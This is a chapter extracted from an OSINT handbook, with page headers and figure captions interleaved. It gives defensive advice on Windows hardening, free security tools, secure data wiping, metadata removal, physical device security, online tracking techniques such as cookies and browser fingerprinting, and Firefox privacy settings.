2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 32 Windows 10 comes supplied with a free antivirus solution, Windows Defender. This program helps guard your PC against viruses and other advanced threats such as rootkits and bootkits; however, its main disadvantage is the lack of a personal firewall. This should not let you underestimate Windows Defender because you can install a free dedicated firewall, as we will show next. Firewall A firewall monitors and controls the incoming and outgoing network traffic and helps you to screen out hackers, viruses, and worms that try to reach your computer over the Internet. As we already said, not all free antivirus solutions come equipped with a personal firewall, but there are many free dedicated personal firewalls that can do the job. See Table 2-2 for the most well-known ones. Table 2-1. Free Antivirus Software (Commercial Versions of These Products Also Available with Enhanced Protection Features) Tool Main Features URL avast Free antivirus detect and block viruses, malware, spyware, ransomware, and phishing. protect your browser from cyberattacks, protect home Wi-Fi connection, has a built- in password manager. https://www.avast.com/ free-antivirus- download Comodo Internet Security many features including a personal firewall and advanced protection against zero-day malware. https://www.comodo.com/ home/internet- security/ free- internet- security. php avira protection against worms, viruses, Trojans, and spyware. Has cloud protection that scans unknown files anonymously in the cloud in real time for maximum detection. https://www.avira.com/ en/free- antivirus- windows CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 33 Anti-malware Cyberattacks are being developed continually. Every day sophisticated malicious scripts and programs are created by cybercriminals, and anti-malware solutions help to detect threats that were not previously discovered by regular antivirus solutions. To achieve maximum protection, it is necessary to have an anti-malware solution in addition to your installed antivirus program. The free edition of Spybot (https://www.safer-networking.org/dl/) has an anti- malware and anti-spyware functionality that can be installed along with your antivirus solution. Another famous program for detecting malware is Malwarebytes (https://www.malwarebytes.com). The free version has the basic anti-malware and spyware protection in addition to its ability to remove rootkits and repairs the files that are damaged. It can also work with any antivirus program already installed. Securing the Operating System No matter what kinds of security software you have already installed on your OS, securing the OS itself is still the first task you should do before installing any programs or accessing the local network or the Internet. There are two types of risks that threaten the security of your OS. • Logical threats originating from malware and other malicious programs. • Physical threats. These happen when an attacker gains physical access to your machine (for example, through USB or other ports) to perform a crafted, malicious action. Table 2-2. Free Firewalls Firewall URL Comodo https://personalfirewall.comodo.com Zonealarm Free Firewall https://www.zonealarm.com/software/free- firewall/ CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 34 We already covered how to secure the first part of the logical side of the OS through installing security software. In this section, we will continue to cover other parts of OS logical security—which is related to OS configuration—in addition to physical security. We will not delve into the OS security as that requires a book of its own. For this book, we will cover the main security configuration that you should do to enhance OS security and privacy. The focus will be on the Windows OS because it is the most widely used OS on earth. Hardening the Windows OS The Windows OS is not intended to be a secure, anonymous OS. When conducting OSINT searches, you should avoid revealing your real identity online. Windows can be configured to be more private following a simple steps. Besides, the software and techniques that we are going to demonstrate later will allow you to conduct your OSINT searches anonymously in addition to hiding/masking your digital fingerprint. Note! There are many different operating systems, like macOS, linux, and Windows in addition to mobile OSs like iOS from apple and android from Google. Whatever OS you use, it has not been created to be completely anonymous and private. There are special distributions—usually based on linux—that provide maximum security and anonymity when going online like Tails OS, as you are going to see later in this chapter. Warning! Create a new system restore point before implementing the tweaks in this chapter so you can safely revert your changes in case something goes wrong. For now, let’s begin our list of recommendations to harden your Windows box. Updating Windows The Automatic Update feature for the Windows OS should always be turned on. Windows 10 Update is set to automatic by default. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 35 Updating All Installed Programs Windows usually updates Microsoft programs—such as the Microsoft Office suite and the Edge (IE) browser—as part of Windows Update, but you should make sure that other programs (Adobe Reader, VPN clients, Firefox, and Opera) are also updated regularly. Locking Your PC Using a USB Drive The default Windows login authentication does not offer the necessary security for its users. Many black hat hackers have successfully compromised this functionality to gain unauthorized access to Windows. To add an additional layer of security, you can lock your PC with a USB drive in addition to the default login. This procedure is necessary for older versions of Windows (7, XP) that cannot be protected using enhanced Windows 10 features. USB Raptor allows you to lock your PC using a USB flash card. It is a free program with many advanced features. You can find it at https://sourceforge.net/projects/ usbraptor/?source=typ_redirect. Using a Less-Privileged User Account When conducting OSINT searches, there is no need to use an administrator account; it is always advisable that you use a limited user account for your daily tasks. This will effectively protect your computer from malware installed inadvertently and prevent outside hackers from invading your system and installing malicious software. You can configure Windows (all versions) accounts by going to Control Panel ➤ User Accounts. Using a Strong Password for Windows Use a strong password to protect your Windows login and make sure to change it once every three months. Later in this chapter, we will give tips on how to create strong passwords and store them within a password manager. To enforce a password policy under Windows 10 (all editions), follow these steps: 1. Go to Control Panel ➤ Administrative Tools ➤ Local Security Policy ➤ Security Settings ➤ Account Polices ➤ Password Policy. 2. On the right side, double-click the “Maximum password age” policy. 3. Set the number of days a password can be used before Windows 10 requires users to change it to 90 days. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 36 Disabling Remote Assistance This feature allows a remote user to access your machine over a network connection. If you are not using this feature, you can disable it to prevent hackers from exploiting it to gain unauthorized access your machine. To disable it in Windows 10, follow these steps (see Figure 2-4): 1. Enter remote settings into the Cortana search box and select “Allow remote access to your computer.” Keeping Your User Account Control Turned On User Account Control (UAC) monitors what changes are going to be made to your computer by showing a pop-up window when you try to perform actions that require administrative access, like installing/uninstalling a program. Turning on UAC will help you to deter malware from making changes to your computer. You can adjust UAC for each user account through Control Panel ➤ User Accounts; then click “Change User Account Control settings” (see Figure 2-3). Figure 2-3. Adjust the UAC settings under Windows 10 to notify the user of any changes to Windows and other applications CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 37 2. Make sure that the option “Don’t allow remote connections to this computer” is selected. Figure 2-4. Disabling remote connections in Windows 10 Making Hidden Files Visible Some malware and other malicious programs come hidden using the same attribute that Windows uses to hide its system files. To display hidden files and folders under Windows 10, select Control Panel ➤ File Explorer Options and then go to the View tab and select the option “Show hidden files, folders, and drives.” Also, make sure to uncheck the option “Hide Protected operating systems files.” It is advisable to view file extensions by unchecking the option “Hide extensions for known file types.” Freezing the Hard Disk The freezing software allows a Windows user to restore their OS to a previous stable state within seconds each time the computer restarts. For example, consider a situation when a piece of malware hits your OS if you already have a freezing program and it is activated. All you need to do is to restart your machine and everything will return to its previous state. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 38 RollBack Rx Home Edition (free for personal use) is a program for freezing Windows machines. You can find it at http://horizondatasys.com/rollback-rx-time-machine/ rollback-rx-home/. Setting a Password for BIOS/UEFI Many cyberattacks against operating systems and encryption software (full disk encryption) rely on booting the victim’s machine using a USB or CD/DVD to crack the encryption keys or to find a way to steal the victim’s sensitive data. By a setting a password for the BIOS/UEFI, each time the user boots the machine, he needs to provide some sort of credentials—hence a password—before the computer loads the OS. This trick will also prevent an attacker from changing your BIOS settings or damaging your computer by wiping your hard drive clean. Each motherboard manufacturer has its own menu to set this password, usually in a Security section. You should first boot to BOIS/ UEFI and then activate this option. Disabling Unnecessary Ports/Protocols and Services Each open port is considered a security risk. Hackers usually scan open ports to try to get access to a victim’s machine. Monitoring traffic going through ports is a firewall task; when you configure your personal firewall properly, it will prevent attackers from exploiting open ports for malicious purposes. The best secure configuration is the “interactive mode” (in Comodo firewall, this rule is called Custom Ruleset) where the firewall asks you to grant or deny access to any connection going through OS ports (see Figure 2-5). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 39 Like ports, unnecessary services should be disabled. Windows load essential services upon starting, but other unused services should be disabled. To disable a service under Windows, do the following: 1. Go to Control Panel ➤ Administrative Tools ➤ Services. 2. Locate a service to disable. 3. Double-click it to open its Properties dialog box. 4. Choose Disabled as the startup type. Staying Private in Windows 10 Compared with the previous Windows versions, Windows 10 comes equipped with enhanced security features for encryption and authentication. Windows 10 is also more robust against bootkits and rootkit attacks. To use the modern security features offered by Windows 10, your computer must have certain hardware components. • Trusted Platform Module (TPM) version 2.0: This is used to store the cryptographic keys of BitLocker. This is a full disk encryption feature offered by some editions of Windows 10 (Windows 10 supports BitLocker on Pro, Enterprise, and Education editions). Figure 2-5. Sample warning dialog issued by the ESET firewall when a service or application is trying to establish an ongoing connection with a remote host CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 40 • Unified Extensible Firmware Interface (UEFI): This is the BIOS replacement used in modern certified Windows computers. • Fingerprint scanner: This enhances the traditional Windows authentication schema. A retinal scanner and a 3D camera for facial recognition are highly recommended so you can activate the advanced biometric authentication scheme of the Windows 10 Hello feature. However, their existence in modern computers is still limited because they increase a computer’s price significantly. As we already said, Windows 10 enhances the regular Windows authentication by introducing a modern authentication mechanism called Hello. This app allows a user to log in to a machine using a fingerprint, face, or even iris. User biometric data will not be stored anywhere online—according to Microsoft—for this feature to work. It is highly recommended not to use the Hello feature on the computer where you are going to conduct your OSINT search. It is always advisable to use the local Windows account when signing into Windows as no one can guarantee what might happen when you send your credentials or other sensitive information over an unsecured medium like the Internet. Windows 10 comes equipped with many new features to personalize the user experience when using it. For instance, Cortana is a Windows digital assistance that allows a user to navigate Windows using voice commands; it also monitors user actions on Windows—such as what the user types and searches for—and personalizes future events according to this. To control Cortana’s collection and use of your data, check https://privacy.microsoft.com/en-us/windows-10-cortana-and-privacy, which contains instructions on how to disable it on different Windows devices. Several privacy configurations of Windows 10 are stored in one location. Windows 10 created a privacy dashboard that is accessed by pressing Windows key + i to access the Settings page and then selecting Privacy (see Figure 2-6). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 41 Everything in the Privacy dashboard is self-explanatory; it is advisable to disable everything you do not need and not to use the Microsoft Edge browser for conducting online searches. Skype, Dropbox, and Microsoft OneDrive are also not recommended for exchanging important files. Secure alternatives to these programs will be given later in the chapter. Destroying Digital Traces Data destruction is an important step in covering your digital traces when conducting OSINT searches. Digital traces—previous usage—on the computer remain even after formatting it many times. There are three ways in which data—and remnants of it—can be destroyed securely: physical, degaussing and logical destruction (sanitizing). We will briefly describe each technique, but let’s first talk about the different types of hard drives in use today. Figure 2-6. The privacy settings in Windows 10 are all bundled together in one location CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 42 There are two types of hard drives currently used in computing devices. • Hard disk drive (HDD): This is the old type that has been used since the early days of personal computers. It is a mechanical device that mainly consists of a metal platter (could be more than one) made of glass or aluminum coated with magnetic material to store data. HDDs are usually used for mass storage and cost less than SSDs. • Solid-state drive (SSD): This is a more advanced version of a drive. It does not contain any moving parts and has no platters. Instead, it stores data on small microchip units (like USB flash drives). SSD is faster and smaller than HDD but has a limited lifespan compared to HDD. Modern computers—and all smartphones and tablets—use SSD as the only storage unit type; however, this does not mean that HDD is going to fade away. HDD is a mature technology, and it will remain in use for a long time according to many studies. For this book, let us see the difference between SSD and HDD in terms of data recovery. Recovering data from an HDD is relatively easy and can be conducted by any user with the appropriate tools. When you delete a file on an HDD, the file is not deleted directly; instead, only the pointer to this file on disk is deleted. This operation helps to speed up the deletion process, saving valuable time. Recovering data from an SSD drive is quite difficult and impossible in many cases. For instance, an SSD uses a different mechanism when handling deleted files. All modern SSDs utilize the TRIM command when enabled. This command will remove deleted file data blocks instantly, allowing for another file to take up that space. This speeds up the writing process the next time the OS needs to write data onto the drive. There are many approaches to implementing TRIM on SSD devices, depending on the OS in use. Some operating systems will execute TRIM instantly after each file deletion, while others will execute TRIM at regular intervals. Now, let’s see how data can be destroyed completely when using both types of hard drive. The following techniques are used to achieve this: • Physical destruction: This is the most secure and usually preferred method used by intelligence services and giant corporations to destroy classified and high-grade data assets. This technique works by physically destroying the storage medium—whether it is HDD, SSD, CD/DVD, or flash drive—so that it is no longer can be used. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 43 • Degaussing: This is another secure technique to prevent antirecovery techniques from recovering your data from the storage medium; it works by exposing the storage medium to the powerful magnetic field of a degausser to destroy the stored data magnetically. This technique works well with HDD. SSD devices are better destroyed physically to avoid the ability to recover top-secret data. • Logical destruction: This is the most widely used technique to destroy data while maintaining storage medium for future use. This technique works by using specialized software to cover the old data and remnants of data with random characters written by the wiping tool. There are many wiping algorithms already used to destroy data digitally in this way; some are more secure than others. However, what you should know when using such a technique to destroy data is that it cannot guarantee 100 percent removal of all data on your drive. Some advanced recovery techniques that are hardware based are still able to capture your old data, or at least parts of it (but doing so is costly and time-consuming). Logical data destruction techniques have some disadvantages too; they need time to finish because they must write random data multiple times (several passes) over all the available sectors on the hard drive. In addition, this technique assumes your hard drive is working and writable to write the random data into it. Another challenge to wiping software comes when using it to wipe data stored using the RAID technology. This technology offers fault tolerance by mirroring data onto multiple disk drives in different physical locations. In such a situation, the wiping tool should track all mirrored data across all enterprise storage servers. Different standards have been developed to wipe data (logical data destruction) on hard drives. Table 2-3 shows the most popular ones. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 44 Different programs exist to wipe your hard drives, and the majority support more than one wiping standard. Table 2-4 lists the most popular ones (free tools only). Table 2-4. Data Destruction Tools Program URL Comments dBaN https://dban.org The free version supports Hdd only. eraser www.heidi.ie/eraser/ Open source; supports SSd. CCleaner www.piriform.com/ccleaner drive wiper and Windows trace cleaner. Sdelete https://technet.microsoft.com/ en-us/sysinternals/sdelete.aspx erases data according to dOd 5220.22-m. Table 2-5. SSD Data-Erasing Tools Tool URL Intel Solid State drive Toolbox https://downloadcenter.intel.com/download/26574?v=t Corsair SSd Toolbox www.corsair.com/en-eu/support/downloads Samsung magician www.samsung.com/semiconductor/minisite/ssd/ download/tools.html Sandisk SSd https://kb.sandisk.com/app/answers/detail/ a_id/16678/~/secure-erase-and-sanitize Table 2-3. Data-Erasing Algorithms Erasing Technique Security Level Overwriting Passes HmG Infosec Standard 5 High 3 dod 5220.22-m High 3 Bruce Schneier’s algorithm High 7 German standard BSI/VSITr High 7 For SSD drives, the majority of SSD manufacturers offer utilities to erase data securely from their drives. You can check your SSD drive manufacturer’s website for such utilities. Table 2-5 gives direct links to some of them. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 45 Destroying your digital traces is important when conducting OSINT searches. Bear in mind that browsers, image-viewing software, Microsoft Office programs, and anything you do on your computer will leave digital traces. By using the advice in this section, you will make tracking your traces difficult and even impossible. Warning! For people (law enforcement and military officials) conducting top- secret OSINT searches who need the maximum anonymity possible, it is highly advisable to use an anonymous OS like Tails OS, covered later in the chapter. General Privacy Settings In this section, we list some recommendations to maintain your privacy when going online. Some of these tips can be considered trivial at first; however, it is important to implement them because not doing so can cause serious damage to your privacy if exploited by outside adversaries. Covering Your Laptop Camera Hackers and intelligence services go after computer cameras and microphones when targeting specific people. So, it is advisable to cover your webcams with tape for security reasons. Avoiding Pirated Software Pirated software can include malicious payload—like a Trojan or keylogger—that can invade user privacy and spy on the computing device. It is strongly advised not to access pirated websites that distribute illegal contents such as Torrent websites. If you prefer to use freeware programs downloaded from the Internet, it is highly advisable to use your antivirus solution to scan them before executing them. To become more confident, you can scan the downloaded program with free scan services, which comes in handy when you want to scan a specific file/program using multiple antivirus engines. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 46 VirusTotal (https://www.virustotal.com) is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, Trojans, and all kinds of malware. All you need to do is enter the website URL you want to check or upload the file/program to see whether it is clear from malware threats. Handling Digital Files Metadata Metadata is data about data; it contains descriptive—usually hidden—information about the file it belongs to. Digital file metadata includes the author name, file size, location, creation date/time, and comments. Conceptually, all digital file types can include metadata. From a privacy perspective, users are mainly concerned about the metadata that exists in digital images, audio files, and video files. Microsoft Office—and other digital text document creation software— also contains a wealth of metadata. Metadata usually comes stored in the digital file; however, some file types store it in a separate file. One metadata type existing within images files is EXIF. This is a standard that specifies the format for images, sound, and ancillary tags used by digital cameras (including smartphones), scanners, and other systems handling image and sound files recorded by digital cameras. EXIF data is embedded within the image file and works with JPEG images only. EXIF metadata can contain geolocation metadata in addition to a wide array of technical information. Other types include Extensible Metadata Platform (XMP), which supports different digital file types and is not limited to images, and the International Press Telecommunications Council (IPTC), which is considered an older meta-information format. It is advisable to check the metadata of all digital files before uploading them to the Internet or sharing them with colleagues to avoid leaking private information about yourself and the device. There are many freeware tools that can view and edit a digital file’s metadata; we’ll begin with digital images. Exif Pilot (www.colorpilot.com/exif.html) is a free EXIF editor that allows you to view, edit, and remove EXIF, EXIF GPS, IPTC, and XMP data in addition to adding new tags and importing and exporting EXIF and IPTC to/from text and Microsoft Excel files. Other free tools that can be used to view image metadata are GIMP (https://www.gimp.org) and XnView (www.xnview.com/en/), which comes free for private and educational use (see Figure 2-7). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 47 Windows comes with a built-in function that allows you to view and remove some metadata associated with documents and digital images. However, keep in mind that Windows may not be able to remove all EXIF tags, so if you intend on sharing important files, always use the suggested third-party tools already mentioned. To remove EXIF using Windows, right-click the image, select Properties, and go to the Details tab. At the bottom, click Remove Properties and Personal Information to open the EXIF removal tool. The tool lets you either create a copy of the image with all the metadata removed or pick and choose which properties to erase from the selected file (see Figure 2-8). Figure 2-7. Using the XnView tool to view EXIF tags CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 48 As we already said, metadata also exists within PDFs, Microsoft Office files, and audio and video files. In this section, we will briefly cover some useful tools to clear metadata from such file types. To clear metadata from PDF files, Adobe has a feature called Sanitize Document. After clicking it, you can remove all the hidden metadata from the intended PDF file (see Figure 2-9). Figure 2-8. Remove EXIF metadata using the Windows built-in function CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 49 Note! Not all versions of adobe reader support the sanitization feature. If your current version does not have this feature, you can use third-party tools to remove metadata from your pdF files such as BeCypdFmetaedit (www. becyhome.de/becypdfmetaedit/description_eng.htm) or pdF metadata editor (http://broken-by.me/pdf-metadata-editor). To view/edit and remove audio file metadata, use Mp3tag (www.mp3tag.de/en). For the video file’s metadata, use MediaInfo (https://mediaarea.net/en/MediaInfo). To remove metadata from Microsoft Office 2010, 2013, and 2016 documents, you can check the document metadata by selecting File and then going to the Info tab. The Properties panel will be on the right side; from here you can remove document metadata by clicking the Properties button and selecting Advanced Properties (see Figure 2-10). Figure 2-9. Clearing PDF file metadata CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 50 In Microsoft Office 2007, you need to click the Microsoft Office button and then select Prepare ➤ Properties to edit the document metadata. Another issue you need to consider when sending Microsoft Office documents to outside parties is deleting other hidden metadata. Fortunately, Microsoft Office provides functionality for deleting hidden metadata. You can access this feature in Microsoft Word 2010, 2013, and 2016 by selecting File ➤ Info ➤ Check for Issues ➤ Inspect Document. In Microsoft Word 2007, you can access this feature by clicking the Office button and selecting Prepare ➤ Inspect Document. Physically Securing Computing Devices We already covered different precautionary steps to maintain your privacy, but everything is useless if your computing device or hardware (or portable storage units) gets stolen or unauthorized physical access takes place while it’s unattended. People working to collect OSINT information to investigate crimes and other official issues should take extra care to avoid revealing any information about the cases they are working on and losing their hardware containing confidential information. Figure 2-10. Removing Microsoft Office document metadata CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 51 Corporations and government agencies have special policies to quantify the risks to IT infrastructure and the possible consequences, in addition to protection measures that should be taken to mitigate such risks. Users should follow these guidelines where applicable. Individuals also suffer from physical threats. Theft and hardware defects can prevent them from accessing data stored on computing devices in addition to revealing this data to unauthorized users. For example, laptops that are left unattended without being secured by a cable lock can be quickly stolen. To secure mobile devices, use these tips: • When using your laptop in public places, secure it by using a cable lock attached to a heavy object (e.g., desk, table, column in a garden). • Do not leave your office without locking it when you have portable devices in it. • Do not store your work’s sensitive files on your computing device without proper permission, and make sure to encrypt everything if you store such data on your device. • Do not store your sensitive/personal data on mobile devices without proper encryption. • Use a password to protect your mobile device from unauthorized access. • Do not turn your Bluetooth connection on in public places, and if necessary, run it for a short period of time to receive or send urgent files. • Turn off Wi-Fi when you are not using it. Be careful when using public hotspots and encrypt your connection using a VPN when using insecure Internet connections. • Keep a written record of the make, model, serial number, MAC address, and other pertinent information about your portable device in case it gets stolen. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 52 Online Tracking Techniques Web tracking is used to record the web browsing behavior of users when going online. This activity is conducted by different parties for different purposes. For instance, social sites can track their users across many websites. This information can be later associated with each user social account—for example, a Facebook account—to show personalized advertisements and services. In this section, we will introduce you to how online tracking technologies work. This knowledge is essential to understanding how you should conceal your identity later to avoid being tracked when conducting OSINT searches. Tracking Through IP Address The first technical thing you need to understand is the concept of Internet Protocol (IP). It is essential to understand this concept and how devices are connected to the Internet because most of the anonymizing techniques work by obscuring your real IP address to avoid tracking. Besides, you cannot protect your digital privacy without knowing how Internet devices are connected in today’s digital world. What Is an IP Address? An IP address is a unique address that computing devices use to connect to the Internet and to identify themselves and communicate with other devices in the IP network. This address is unique for each device in the IP network; hence, no two devices can have the same address within each network. There are two standards of IP addressing already in use. The IPv4 standard is the most widely used one; it can accommodate up to 4.3 billion addresses. Apparently, this number is not enough, especially with the explosion use of Internet of Things (IoT) devices. This fact has resulted in another standard named IPv6, which can accommodate more than 7.9 ×1028 times as many addresses as IPv4. When connecting to the Internet, you either use the same IP address each time (known as static IP) or use a different number each time (known as dynamic IP). A static IP address is an address that is assigned by your Internet service provider (ISP) and does not change over time. This kind of address is usually used by business corporations, the public sector, and other IT providers such as email service providers. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 53 A dynamic IP address, on the other hand, is assigned dynamically by your ISP each time you connect to the Internet. It uses a protocol called Dynamic Host Configuration Protocol (DHCP) to assign new IP addresses whenever you disconnect from the Internet or your router gets rebooted. Note! To determine whether you are assigned a dynamic or static Ip address, open a command-line prompt. In Windows 10, press Windows + X and then click Command prompt (admin). Type ipconfig /all and then press the enter key. locate the line containing “dHCp enabled” under your current network connection. If dHCp enabled is set to Yes (see Figure 2-11), then you most likely have a dynamic internal Ip address. Figure 2-11. Determine whether your PC is using a dynamic or static IP address. In this case, we’re using a dynamic IP address. IP addresses come in two types: public and private IP addresses. A public IP address allows direct access to the Internet. A private IP address is a non-Internet- facing IP address on an internal network and is used to assign a private number to your computing devices in your home or office network to avoid exposing them directly online. For example, you can have one public IP address assigned to your router on your office network, and each of the computers, tablets, smartphones, and peripherals connected to your router (via a wired connection or Wi-Fi) get a private IP address from your router via DHCP. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 54 Note! dHCp is a network protocol used on Ip networks. It works by dynamically allocating Ip addresses to a set of connected hosts based on a preconfigured pool of addresses. How Is an IP Address Used to Track You Online? Whenever you visit a website, conduct a search online, or access your social site account, your connection IP address will be made available to the connected site. Nearly all websites record their visitors’ IP addresses among other details such as date/time of the visit, pages visited and duration, user actions on the website, and much more. Knowing the IP address is also—almost—enough to figure out approximately your current geographical location. Your ISP will also record your IP address. ISPs usually record the browsing history of their users and connect it with each user’s real identity (ISPs usually request a valid government ID to provide Internet connections for their customers). Social sites—like Facebook and Twitter—track their users’ browsing history across many websites. For instance, Facebook’s Like and Share buttons and Twitter’s Tweet buttons are used to track a user’s online activities even if the user does not click them. All this information is stored in a separate log attached with each user’s social account ID— Facebook, Instagram, or Twitter—to better target the user with customized ads. Storing such logs is dangerous because all your web searches and web history get connected to your real name. Many WikiLeaks revelations mention that intelligence agencies have different facilities to access giant IT providers’ user. Giant corporations are also interested in such data to exploit it for commercial gain. This means all your sensitive details will be exposed in one way or another. Although tracking online users through their IP addresses is still the most prevalent method used by different actors, there are other advanced technical techniques that allow an outside observer to track a user’s online activities even without knowing the user’s IP address, and this what we will talk about in the coming section. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 55 Cookies Cookies are small text files usually stored on the client computer’s browser. A cookie file contains information that is specific to a client computer in addition to the website name, expiry date, and a user ID number to distinguish the user from other visitors. Cookies allow a website owner to be able to recognize the visitor’s browser the next time, effectively allowing the website to offer a customized experience for its visitors. Mainly there are two types of cookies already in use: session cookies and persistent cookies. Session cookies are stored in a temporary location in the client browser and are removed when the user closes the web browser or logs out of the current session. Such cookies are usually used to remember user shopping cart information or to store data between multiple pages. Note! most websites plant HTTp cookies to track site visitors or to remember a user’s credentials. This kind is less risky than persistent cookies and can be removed safely by using the standard browser function remove Cookies. Persistent cookies come in two main types: flash cookies and ever cookies. Persistent cookies are more persistent than HTTP cookies and contain information from other websites that is used to track a user’s online activities across multiple websites. With flash cookies, a cookie is stored within a specific folder on a client hard drive (not within the client browser like HTTP cookies). In other words, such cookies will not get removed when you use the standard Remove Cookies browser function. For security reasons, it is highly advisable to deactivate this kind of cookie and delete the currently installed one. You can achieve this by going to Control Panel ➤ Flash Player and selecting the option “Block all sites from storing information on this computer” (see Figure 2-12). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 56 Note! FlashCookiesView (www.nirsoft.net/utils/flash_cookies_view. html) is a small utility created by NirSoft that allows you to display a list of Flash cookies that exist on your system and delete them. An ever cookie is another type of persistent cookies. This type of cookie is a JavaScript-based cookie that can survive even after the user deletes HTTP and Flash cookies from their machine. Fortunately, the browsers and anti-malware software applications that exist today are now able to detect and block ever cookies. Note! You should disable Java plug-ins or at least to set their security settings to a high level. To do so, select Control panel ➤ Java; then go to the Security tab and select the option “Very high.” Figure 2-12. Disabling Flash cookies through Flash Player Settings Manager CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 57 Digital Fingerprinting A browser fingerprint is the set of technical information about the client OS and browser that can be used to distinguish a client machine online. Such technical information includes browser type, add-on installed, user agent, fonts installed, language settings, time zone, screen size, operating system (OS) version, and color depth, among other things. Fingerprinting allows trackers to track a user’s machine even though cookies and JavaScript are disabled, and it allows them to distinguish a client machine among millions of connected devices. You may think that such technical information is generic and cannot be used to recognize a specific computing device. We’re afraid you are wrong because when such information is combined, you can draw a comprehensive unique picture about each user machine, and later, this information can be linked to a real identity if combined with other sensitive personal information (SPI) such as name, Social Security number, or phone number. This should effectively allow different outside parties to easily profile people without using traditional tracking techniques such as computer IP addresses and cookies. There are two main types of device fingerprinting: script-based techniques and canvas. Script-Based Fingerprinting This type works by loading a script—usually a JavaScript (Flash, Silverlight, and Java applets are also used)—into the user’s browser. This script will execute and collect technical information about user browsers and machine technical specifications such as screen resolution, CPU type, and other details about the targeted system. A hash is then made based on the collected information that is later used to identify and track your computer like an IP address. The main defense against this technique is to disable JavaScript in your browser. However, this approach is not practical and may result in breaking many websites (the majority of web design frameworks are based on JavaScript to deliver functionality). Canvas Fingerprinting Canvas is an HTML element used to draw graphics (lines, shapes, text, images) and animation on web pages using the JavaScript API. This technique is exploited by different actors—especially advertisers—to fingerprint browsers to profile people and track them online. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 58 Canvas fingerprinting works by drawing an invisible image on the user’s client browser. Once drawn on the client browser, the image will collect different technical information about the user’s browser and OS. A hash is then created based on the collected information. This enables online trackers to track user online activities across different websites based on this hash, which is unique for each user’s client machine. Browser fingerprinting is a powerful tool for tracking users across many websites. This type of tracking (also known as stateless tracking) raises serious privacy concerns since it is hard to detect and non-computer-savvy users may find it difficult to counter such techniques. HTML5 HTML5 is the latest version of HTML. It comes with new features that can be exploited to track users online. For instance, the HTML5 Web Storage feature—which is used to store offline contents on user machines—can be used to store tracking code like cookies do. Checking Your Digital Footprint Fingerprinting is currently considered the greatest risk that faces users when surfing online. We cannot conduct secure OSINT searches without fully understanding this risk and working to avoid it. In the following section, we will show what your current digital fingerprint shows to the public by using two free services. Browserleaks Browserleaks (https://browserleaks.com) is a web security testing tool that shows you what personal identity data may be leaked without your permissions when you surf the Internet. Panopticlick Panopticlick (https://panopticlick.eff.org) is a research project created by the Electronic Frontier Foundation (https://www.eff.org/). It will analyze how well your browser and add-ons protect you against online tracking techniques. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 59 Secure Online Browsing Earlier you learned how browsers can leak personal identifying information about you and your machine. In this section, we will cover how to configure your browser to become more private in addition and offer advice and tools to conceal your real digital fingerprint. There are many desktop browsers; the market share is mainly divided between Microsoft Internet Explorer (IE), Mozilla Firefox, Safari, Opera, and Google Chrome. IE and its successor Edge come preinstalled on the Windows OS; however, we always encourage users to use open source software to assure maximum security when working online. Mozilla Firefox is still considered the only true open source browser of the main browsers mentioned, so in this book, we will cover how to make this browser more private. Note! The epic browser is developed by a group called Hidden reflex and promotes privacy worldwide; this browser is based on Chromium (like Google’s Chrome browser) and comes with enhanced security features to eliminate online tracking. It also comes with a free built-in VpN to conceal your Ip address and protect your online communications. You can give it try at https://epicbrowser.com/index.html. Configuring Firefox to Become More Private In this section, we will give basic tips to secure your online browsing when using Firefox. Turning On Private Browsing When you enable private browsing in Firefox, the browser will not record your visited pages, cookies, temporary files, and searches. Firefox will also activate tracking protection, which will block online trackers from monitoring your browsing history across multiple websites. To enable private browsing in Firefox, open the Firefox browser, and press Ctrl+Shift+ P. A new private browsing window will appear (see Figure 2-13). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 60 Changing the Firefox Settings to Become More Private There are many tweaks to make your Firefox browser more private. In this section, we cover the main one. Access the Firefox options by clicking the menu in the upper-right corner of your browser and selecting Options (see Figure 2-14). Figure 2-13. A new private session window opened in the Firefox browser CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 61 Move to the Privacy tab. You need to turn on the option Use Tracking Protection in Private Windows. Now, go to the History section on the same page and select the option “Never remember history” so that Firefox will delete all your history every time you close it. Finally, go to the Location Bar section and disable all the suggestions in the search bar because the suggestion process can leak excessive data about you. Your Privacy tab should look like Figure 2-15. Figure 2-14. Use an anonymous secure search engine that does not track your 